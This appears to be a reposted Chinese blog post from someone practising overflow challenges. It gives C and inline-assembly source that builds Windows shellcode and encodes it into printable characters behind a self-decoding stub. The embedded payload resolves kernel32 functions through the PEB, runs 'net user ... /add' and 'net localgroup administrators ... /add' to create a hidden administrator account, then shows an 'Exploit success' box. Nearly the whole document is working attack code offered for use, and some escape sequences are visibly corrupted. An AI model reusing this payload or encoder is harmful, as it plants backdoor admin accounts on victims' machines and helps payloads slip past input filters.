编写便于打印的Shellcode

107 阅读 0 评论 71 点赞
我是靠谱客的博主小巧大碗，最近开发中收集的这篇文章主要介绍编写便于打印的Shellcode，觉得挺不错的，现在分享给大家，希望可以做个参考。
概述

最近做关于溢出的题目
有的题目，生成的shellcode由于含有特殊字符，不方便让程序读取
于是将之前生成shellcode的加密解密部分稍微修改了一下
思路大概如此，以后需要用到什么样的shellcode自己修改加密解密程序生成就是了
  1 #include <stdio.h>
  2  #include <string.h>
  3  #include <stdlib.h>
  4  #include <windows.h>
  5  
  6  //#define     Debug            1;
  7  
  8  #define  Legal_Begin        0x20    //从0x20开始的可以打印
  9                                     //其中Legal_Begin用作特殊标记
 10  #define  Legal_End            0x7E    //到0x7E结束
 11  
 12  #define  Enc_key            0x7A    //编码密钥
 13  #define  FLAG_AVOID        0x30    //需要回避的字符的标记
 14  
 15  #define PROC_BEGIN    __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90
 16      __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 
 17  #define PROC_END PROC_BEGIN
 18  #define  BEGINSTRLEN    0x08    //开始字符串长度   
 19  #define  ENDSTRLEN      0x08    //结束标记字符的长度   
 20  #define  nop_CODE       0x90    //填充字符   
 21  
 22  #define  MAX_Enc_Len    0x400   //加密代码的最大长度 1024足够？   
 23  #define  MAX_Sh_Len     0x2000  //hellCode的最大长度 8192足够？   
 24  
 25  #define  MY_SUCCEED        0
 26  #define  MY_NO_BEGIN    1
 27  #define  MY_NO_END        2
 28  #define     MY_MALLOC_ERR    3
 29  
 30  #define  MY_AVOID        0
 31  #define  MY_NO_AVOID    1
 32  
 33  void Dcrypt(void);
 34  void Shellcode(void);
 35  
 36  //将函数func的代码放到buffer指向的内存中
 37  //其中buffer指向的内存是动态分配的
 38  //func_len指向buffer的长度
 39  int get_func_code(char** buffer,//存放func的代码
 40                  char* fun,        //函数首地址
 41                  int* func_len    //指向buffer长度
 42                  );
 43  
 44  //打印对应的错误信息
 45  void print_iRet(int iRet, char* func_name);
 46  
 47  int is_legal(char ch);//判断一个字符是否要回避
 48  
 49  int Encrypt_Shell(char** buffer,//存放加密过后的字节码
 50                  char*    fun,    //原Shellcode的字节码
 51                  int        old_len,//原Shellcode的长度
 52                  int*    new_len    //加密后字节码的长度
 53                  );
 54  void my_print_Shellcode(char* Shellcode, int len);//打印最终的Shellcode 
 55  
 56  int main(int argc, char* argv[])
 57  {
 58      //取得加密函数字节码
 59      int        Dcrypt_len = 0;
 60      char*    Dcrypt_buffer = NULL;
 61      int        iRet = get_func_code(&Dcrypt_buffer, (char*)Dcrypt, &Dcrypt_len);
 62      print_iRet(iRet, "Dcrypt字节码");
 63  
 64      //取得Shellcode字节码
 65      int        Shell_len = 0;
 66      char*    Shell_buffer = NULL;
 67      iRet = get_func_code(&Shell_buffer, (char*)Shellcode, &Shell_len);
 68      print_iRet(iRet, "Shellcode原始字节码");
 69  
 70      //将Shellcode字节码加密
 71      char*    Shell_Encrypt_buffer = NULL;
 72      int        Shell_Encrypt_len = 0;
 73      iRet = Encrypt_Shell(&Shell_Encrypt_buffer, Shell_buffer, Shell_len, &Shell_Encrypt_len);
 74      print_iRet(iRet, "Shellcode加密后的字节码");
 75  
 76      //打印整体Shellcode的字节码
 77      char*    print_buffer = (char*)malloc(Dcrypt_len + Shell_Encrypt_len);
 78      memcpy(print_buffer, Dcrypt_buffer, Dcrypt_len);
 79      free(Dcrypt_buffer);
 80      memcpy(print_buffer + Dcrypt_len, Shell_Encrypt_buffer, Shell_Encrypt_len);
 81      free(Shell_buffer);
 82      free(Shell_Encrypt_buffer);
 83      my_print_Shellcode(print_buffer, Dcrypt_len + Shell_Encrypt_len);
 84      free(print_buffer);
 85      return 0;
 86  }
 87  
 88  void Dcrypt(void)
 89  {
 90      PROC_BEGIN
 91      __asm
 92      {
 93          pushad
 94          jmp   next   
 95  getEncCodeAddr:   
 96          pop   edi   
 97          push  edi   
 98          pop   esi   
 99          xor   ecx,ecx 
100  Decrypt_lop:    
101          lodsb   
102          cmp  al,cl   
103          jz   save   
104          cmp  al,Legal_Begin  //判断是否为特殊字符   
105          jz   special_char_clean   
106  store:            
107              stosb   
108          jmp  Decrypt_lop   
109  special_char_clean:    //这里要特殊注意一下，看指令里会不会包含特殊字符  
110          lodsb
111          and al,0x0f;
112          shl al,0x4;
113          mov bl,al;
114          lodsb
115          and al,0x0f;
116          add al,bl;
117          jmp store
118  save:
119          popad
120          jmp  shell
121  next:        
122          call  getEncCodeAddr
123  shell:
124              //其余真正加密的shellcode代码会连接在此处
125      }
126      PROC_END
127  }
128  
129 void Shellcode(void)
130 {
131     PROC_BEGIN
132 #ifdef    Debug
133     __asm _emit 0x1
134     __asm _emit 0x2
135 #endif
136 
137 #ifndef    Debug
138     
139     void*    hkernerl32            = NULL;
140     void*    huser32                = NULL;
141     void*    hmsvcrt                = NULL;
142 
143     void*    pGetProcAddress        = NULL;
144     void*    pLoadLibrary        = NULL;
145     void*    pExitProcess        = NULL;
146     void*    pMessageBoxA        = NULL;
147     void*    psystem                = NULL;
148     
149     //LoadLibrary("kernel32");
150     _asm
151     {        
152         //保存寄存器
153         pushad;
154         
155         //获得kernerl32基地址
156         mov eax, fs:0x30 ;PEB的地址
157         mov eax, [eax + 0x0c] ;Ldr的地址
158         mov esi, [eax + 0x1c] ;Flink地址
159         lodsd 
160         mov eax, [eax + 0x08] ;eax就是kernel32.dll的地址
161         mov hkernerl32,eax;
162         
163         //获得GetProcAddress地址
164         push ebp;
165         mov ebp, hkernerl32 ;kernel32.dll 基址
166         mov eax, [ebp+3Ch] ;eax = PE首部
167         mov edx,[ebp+eax+78h]
168         add edx,ebp ;edx = 引出表地址
169         mov ecx , [edx+18h] ;ecx = 输出函数的个数
170         mov ebx,[edx+20h] 
171         add ebx, ebp ;ebx ＝函数名地址，AddressOfName 
172 search:
173         dec ecx
174         mov esi,[ebx+ecx*4] 
175         add esi,ebp ;依次找每个函数名称
176         ;GetProcAddress
177         mov eax,0x50746547
178         cmp [esi], eax; 'PteG'
179         jne search
180         mov eax,0x41636f72
181         cmp [esi+4],eax; 'Acor'
182         jne search 
183         ;如果是GetProcA，表示找到了 
184         mov ebx,[edx+24h]
185         add ebx,ebp ;ebx = 序号数组地址,AddressOf
186         mov cx,[ebx+ecx*2] ;ecx = 计算出的序号值
187         mov ebx,[edx+1Ch]
188         add ebx,ebp ;ebx＝函数地址的起始位置，AddressOfFunction
189         mov eax,[ebx+ecx*4] 
190         add eax,ebp ;利用序号值，得到出GetProcAddress的地址
191         pop ebp;
192         mov pGetProcAddress,eax;
193 
194         //获得LoadLibraryA地址
195         //push strLoadLibrary;"LoadLibraryA"
196         call    _getLoadLib   
197         _emit 0x4C   
198         _emit 0x6F   
199         _emit 0x61   
200         _emit 0x64   
201         _emit 0x4C   
202         _emit 0x69   
203         _emit 0x62   
204         _emit 0x72   
205         _emit 0x61   
206         _emit 0x72   
207         _emit 0x79   
208         _emit 0x41   
209         _emit 0x0   
210         //db      "LoadLibraryA",0              
211 _getLoadLib:
212         push hkernerl32;
213         mov eax,pGetProcAddress;
214         call eax;        GetProcAddress
215         mov pLoadLibrary,eax;
216         pop eax;
217         pop eax;        平衡堆栈
218         
219         //下面是自己的实验
220         //LoadLibraryA("msvcrt.dll")
221         //push strmsvcrt
222         call    _getmsvcrt
223         _emit 'm'
224         _emit 's'
225         _emit 'v'
226         _emit 'c'
227         _emit 'r'
228         _emit 't'
229         _emit '.'
230         _emit 'd'
231         _emit 'l'
232         _emit 'l'
233         _emit ''
234 _getmsvcrt:
235         mov eax,pLoadLibrary;
236         call eax;
237         mov hmsvcrt, eax;
238         pop eax;
239 
240         //push strsystem
241         call _getsystem
242         _emit 's'
243         _emit 'y'
244         _emit 's'
245         _emit 't'
246         _emit 'e'
247         _emit 'm'
248         _emit ''
249 _getsystem:
250         push hmsvcrt;
251         mov eax,pGetProcAddress;
252         call eax;
253         mov psystem,eax;
254         pop eax;
255         pop eax;        平衡堆栈
256         
257         call _get_add_user
258         _emit 'n'
259         _emit 'e'
260         _emit 't'
261         _emit ' '
262         _emit 'u'
263         _emit 's'
264         _emit 'e'
265         _emit 'r'
266         _emit ' '
267         _emit 'x'
268         _emit 'd'
269         _emit '_'
270         _emit 'h'
271         _emit 'a'
272         _emit 'c'
273         _emit 'k'
274         _emit ' '
275         _emit 's'
276         _emit 'u'
277         _emit 'c'
278         _emit 'c'
279         _emit 'e'
280         _emit 's'
281         _emit 's'
282         _emit ' '
283         _emit '/'
284         _emit 'a'
285         _emit 'd'
286         _emit 'd'
287         _emit ''
288 _get_add_user:
289         mov eax,psystem;
290         call eax;
291         pop eax;
292         call _get_adm_group
293         _emit 'n'
294         _emit 'e'
295         _emit 't'
296         _emit ' '
297         _emit 'l'
298         _emit 'o'
299         _emit 'c'
300         _emit 'a'
301         _emit 'l'
302         _emit 'g'
303         _emit 'r'
304         _emit 'o'
305         _emit 'u'
306         _emit 'p'
307         _emit ' '
308         _emit 'a'
309         _emit 'd'
310         _emit 'm'
311         _emit 'i'
312         _emit 'n'
313         _emit 'i'
314         _emit 's'
315         _emit 't'
316         _emit 'r'
317         _emit 'a'
318         _emit 't'
319         _emit 'o'
320         _emit 'r'
321         _emit 's'
322         _emit ' '
323         _emit 'x'
324         _emit 'd'
325         _emit '_'
326         _emit 'h'
327         _emit 'a'
328         _emit 'c'
329         _emit 'k'
330         _emit ' '
331         _emit '/'
332         _emit 'a'
333         _emit 'd'
334         _emit 'd'
335         _emit ''
336 _get_adm_group:
337         mov eax,psystem;
338         call eax;
339         pop eax;
340 
341         call _getExitProcess
342         _emit 'E'
343         _emit 'x'
344         _emit 'i'
345         _emit 't'
346         _emit 'P'
347         _emit 'r'
348         _emit 'o'
349         _emit 'c'
350         _emit 'e'
351         _emit 's'
352         _emit 's'
353         _emit ''
354 _getExitProcess:
355         push hkernerl32;
356         mov eax,pGetProcAddress;
357         call eax;        GetProcAddress
358         mov pExitProcess,eax;
359         pop eax;
360         pop eax;        平衡堆栈
361 
362         //MessageBoxA(NULL, "你被溢出了！", "xiaoma", MB_OK)
363         //push struser32;
364         call    _getUser
365         _emit 0x75
366         _emit 0x73
367         _emit 0x65
368         _emit 0x72
369         _emit 0x33
370         _emit 0x32
371         _emit 0x2E
372         _emit 0x64
373         _emit 0x6C
374         _emit 0x6C
375         _emit 0x0
376 _getUser:
377         mov eax,pLoadLibrary;
378         call eax;
379         mov huser32,eax;
380         pop eax;
381         
382         //push strMessageBoxA;"MessageBoxA"
383         call    _getMessage
384         _emit 0x4D
385         _emit 0x65
386         _emit 0x73
387         _emit 0x73
388         _emit 0x61
389         _emit 0x67
390         _emit 0x65
391         _emit 0x42
392         _emit 0x6F
393         _emit 0x78
394         _emit 0x41
395         _emit 0x0
396 _getMessage:
397         push huser32;
398         mov eax,pGetProcAddress;
399         call eax;        GetProcAddress
400         mov pMessageBoxA,eax;
401         pop eax;
402         pop eax;        平衡堆栈
403         
404         call _getCaption
405         _emit 'O'
406         _emit 'v'
407         _emit 'e'
408         _emit 'r'
409         _emit 'f'
410         _emit 'l'
411         _emit 'o'
412         _emit 'w'
413         _emit ''
414 _getCaption:
415         pop  edi;
416         call _getText
417         _emit 'E'
418         _emit 'x'
419         _emit 'p'
420         _emit 'l'
421         _emit 'o'
422         _emit 'i'
423         _emit 't'
424         _emit ' '
425         _emit 's'
426         _emit 'u'
427         _emit 'c'
428         _emit 'e'
429         _emit 's'
430         _emit 's'
431         _emit ''
432 _getText:
433         pop  esi;
434         push MB_OK;
435         push edi;
436         push esi;
437         push 0h;
438         mov eax,pMessageBoxA;
439         call eax;
440         pop eax;
441         pop eax;
442         pop eax;
443         pop eax;
444         
445         push 0x0;
446         mov eax,pExitProcess;
447         call eax;
448         pop eax;
449         
450         //恢复寄存器
451         popad;
452     }
453 #endif
454     PROC_END
455 }
456  
457  int Encrypt_Shell(char** buffer, char*    fun, int old_len, int* new_len)
458  {
459      *buffer = (char*)malloc(3 * old_len);
460      if (*buffer == NULL)
461      {
462          return MY_MALLOC_ERR;
463      }
464      int        i = 0, k = 0;
465      char    ch = 0;
466      for (i = 0; i < old_len; i++)
467      {
468          ch = (*(fun + i));
469          if ( is_legal(ch) == MY_AVOID )//如果某个字符需要回避
470          {
471              *(*buffer + k) = Legal_Begin;
472              k++;
473              *(*buffer + k) = 0x40 + (((unsigned char)(ch&0xf0)) >> 4);
474              k++;
475              *(*buffer + k) = 0x40 + (ch&0x0f);
476              k++;
477          }
478          else
479          {
480              *(*buffer + k) = ch;
481              k++;
482          }
483      }
484      *new_len = k;
485      return(MY_SUCCEED);
486  }
487  
488  int get_func_code(char** buffer, char* fun, int* func_len)
489  {
490      //返回码：
491      int        i = 0;
492      char*    func_begin    =    fun;
493      char*    func_end    =    NULL;
494      char*    fnbgn_str="x90x90x90x90x90x90x90x90x90";  //标记开始的字符串   
495      char*    fnend_str="x90x90x90x90x90x90x90x90x90";  //标记结束的字符串
496  
497      //处理DEBUG版本里面的跳转表
498      /*char ch = *func_begin;
499      char temp = 0xE9;*/
500      if (*func_begin == (char)0xE9)
501      {
502          func_begin++;
503          i = *(int*)func_begin;
504          func_begin += (i+4);
505      }
506  
507      //通过寻找开始的标记
508      //找到解码部分的开头地址
509      for (i = 0; i < MAX_Enc_Len; i++)
510      {
511          if (memcmp(func_begin+i, fnbgn_str, BEGINSTRLEN) == 0)
512          {
513              break;
514          }
515      }
516      if (i < MAX_Enc_Len)
517      {
518          func_begin += (i + BEGINSTRLEN);//定位到开始部分的代码
519      }
520      else
521      {
522          return MY_NO_BEGIN;    //没找到开始的标记
523      }
524  
525      //通过寻找结尾的标记
526      //找到解码部分的结束地址
527      i = 0;
528      for (func_end = func_begin; i < MAX_Enc_Len; i++)
529      {
530          if (memcmp(func_end+i, fnend_str, ENDSTRLEN) == 0)
531          {
532              break;
533          }
534      }
535      if (i < MAX_Enc_Len)
536      {
537          func_end += i;//定位到结尾处的代码
538      }
539      else
540      {
541          return MY_NO_END;//没找到结尾的标记
542      }
543  
544      *func_len = func_end - func_begin;//解码部分代码长度
545  
546      *buffer = (char*)malloc(*func_len);//分配地址储存解码的代码
547      if (*buffer == NULL)
548      {
549          return MY_MALLOC_ERR;
550      }
551      memcpy(*buffer, func_begin, *func_len);
552  
553      return MY_SUCCEED;
554  }
555  
556  void print_iRet(int iRet, char* func_name)
557  {
558      switch (iRet)
559      {
560      case MY_SUCCEED:
561          printf("获取%s成功!n",func_name);
562          break;
563      case MY_NO_BEGIN:
564          printf("无法找到%s的头部标记!n程序退出n",func_name);
565          exit(1);
566          break;//不会执行到
567      case MY_NO_END:
568          printf("无法找到%s的尾部标记!n程序退出n",func_name);
569          exit(1);
570          break;//不会执行到
571      case MY_MALLOC_ERR:
572          printf("在获取%s字节码的时候分配内存错误!n程序退出n",func_name);
573          exit(1);
574          break;
575      default:
576          puts("未知的返回码!n程序退出n");
577          exit(1);
578          break;
579      }
580  }
581  
582  int is_legal(char ch)
583  {
584      
585      if (ch < Legal_Begin+1 || ch > Legal_End)
586      {
587          return MY_AVOID;//需要替换
588      }
589      return MY_NO_AVOID;    //不需要替换
590  }
591  
592  void my_print_Shellcode(char* Shellcode, int len)
593  {
594      int i = 0, k = 0;
595      for (i = 0; i < len; i++)
596      {
597          if (k == 0)
598          {
599              putchar('"');
600          }
601          printf("\x%.2X", (unsigned char)Shellcode[i]);
602          k++;
603          if (k == 16)
604          {
605              putchar('"');
606              putchar('n');
607              k = 0;
608          }
609      }
610      if (k != 16)
611      {
612          puts(""n");
613      }
614  }